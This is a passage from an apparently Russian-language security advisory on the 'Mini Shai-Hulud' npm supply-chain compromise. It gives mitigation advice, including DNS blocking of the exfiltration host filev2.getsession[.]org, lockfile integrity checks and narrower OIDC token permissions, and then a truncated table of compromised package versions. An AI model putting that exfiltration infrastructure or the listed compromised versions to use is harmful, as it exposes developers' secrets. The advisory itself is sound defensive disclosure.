\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u0435\u0440\u0441\u0438\u0439, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0440\u0430\u043d\u043d\u0435\u0440\u043e\u0432 GitHub Actions \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0447\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<\/li>\n<li>\n<p><strong>\u0417\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0439\u0442\u0435 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043a<\/strong> filev2.getsession[.]org<br \/>\u0438 <strong>\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 Session \u043d\u0430 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435 \u0441\u0435\u0442\u0438<\/strong>, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0432\u0430\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441\u0435\u0442\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0445 \u0443\u0437\u043b\u043e\u0432 Session \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439, \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 DNS \u0434\u043b\u044f .<a href=\"http:\/\/getsession.org\">getsession.org<\/a> \u0431\u0443\u0434\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435, \u0447\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u043e IP.<\/p>\n<\/li>\n<li>\n<p><strong>\u0412\u043d\u0435\u0434\u0440\u0438\u0442\u0435 Subresource Integrity \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 lock-\u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0430\u043a\u0435\u0442\u043e\u0432<br \/><\/strong>\u0441 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u0435\u043c integrity \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 @tanstack\/* \u0432 package-lock.json \u0438\u043b\u0438 pnpm-lock.yaml. \u041b\u044e\u0431\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0441 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435\u043c \u0445\u0435\u0448\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c CI.<\/p>\n<\/li>\n<li>\n<p><strong>\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f OIDC-\u0442\u043e\u043a\u0435\u043d\u043e\u0432<\/strong> \u0432 workflow GitHub Actions:<br \/>\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 permissions: id-token: none \u0432\u043e \u0432\u0441\u0435\u0445 workflow, \u043a\u043e\u0442\u043e\u0440\u044b\u043c OIDC-\u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u044f\u0432\u043d\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u0430, \u0438 \u0432\u044b\u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 id-token: write \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e.<\/p>\n<\/li>\n<li>\n<p><strong>\u041d\u0435 \u043f\u043e\u043b\u0430\u0433\u0430\u0439\u0442\u0435\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0431\u0435\u0439\u0434\u0436\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f Sigstore<\/strong> \u043a\u0430\u043a \u043d\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<br \/>\u042d\u0442\u043e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0432 GitHub Actions, \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0435 Sigstore-\u0430\u0442\u0442\u0435\u0441\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432.<\/p>\n<\/li>\n<\/ol>\n<p>\u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u043e\u043b\u043d\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 Mini Shai-Hulud. <\/p>\n<details class=\"spoiler\">\n<summary>\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0430\u043a\u0435\u0442\u043e\u0432<\/summary>\n<div class=\"spoiler__content\">\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">Ecosystem<\/p>\n<\/th>\n<th>\n<p align=\"left\">Namespace<\/p>\n<\/th>\n<th>\n<p align=\"left\">Name<\/p>\n<\/th>\n<th>\n<p align=\"left\">Version<\/p>\n<\/th>\n<th>\n<p align=\"left\">Published<\/p>\n<\/th>\n<th>\n<p align=\"left\">Detected<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cross-stitch\">cross-stitch<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.1.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:52:17.867Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:49.768Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fix-data\">fix-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:52:08.323Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:46.061Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/weather\">weather<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.10<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:55.267Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:43.472Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry-data\">icao-registry-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:52:23.156Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:40.672Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airport-data\">airport-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:52:18.361Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:39.719Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flightplan\">flightplan<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:54.739Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:36.860Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/units\">units<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:54.457Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:31.082Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/flight-math\">flight-math<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:54.371Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:31.028Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/mcp\">mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.9.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:55.508Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:30.431Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/fixes\">fixes<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:54.445Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:29.578Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace-data\">airspace-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:52:09.491Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:27.971Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedure-data\">procedure-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.7.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:52:12.606Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:27.660Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaids\">navaids<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:54.173Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:26.950Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/procedures\">procedures<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:55.196Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:57:26.346Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/notams\">notams<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.3.10<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:51.623Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:50.086Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airways\">airways<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:49.611Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:37.581Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airports\">airports<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:52.328Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:34.933Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ts-dna\">ts-dna<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">3.0.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:53.011Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:27.547Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/types\">types<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:52.501Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:25.961Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/icao-registry\">icao-registry<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.6<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:51.316Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:25.149Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace\">airspace<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:53.026Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:24.935Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/geo\">geo<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.4.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:52.532Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:24.723Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/navaid-data\">navaid-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:50.572Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:56:24.688Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airway-data\">airway-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.8<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:51:56.453Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:53:54.188Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~mistralai\">@mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@mistralai\/mistralai\">mistralai<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">2.2.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:53:59.784Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:07:59.525Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/mcp\">mcp<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.9.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.112Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:54.383Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/types\">types<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.8.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.884Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:12.143Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~beproduct\">@beproduct<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@beproduct\/nestjs-auth\">nestjs-auth<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.18<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:03.941Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:09.731Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airspace-data\">airspace-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:28.875Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:07.002Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/ts-dna\">ts-dna<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">3.0.4<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:01.936Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:05.790Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-git-git\">git-git-git<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.12<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:56:34.548Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:05.743Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airway-data\">airway-data<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.5.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.533Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:05.462Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~squawk\">@squawk<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@squawk\/airports\">airports<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.6.5<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:57:02.412Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:05.321Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/git-branch-selector\">git-branch-selector<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.3.7<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:56:34.934Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:05.085Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/pos\">pos<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">0.1.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:40.813Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:05.061Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/~tallyui\">@tallyui<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/@tallyui\/connector-vendure\">connector-vendure<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.0.3<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T22:55:41.147Z<\/p>\n<\/td>\n<td>\n<p align=\"left\">2026-05-11T23:02:04.584Z<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">npm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\"><a href=\"https:\/\/www.npmjs.com\/package\/cross-stitch\">cross-stitch<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">1.1.5<\/p>\n<\/td>\n<td>\n<p 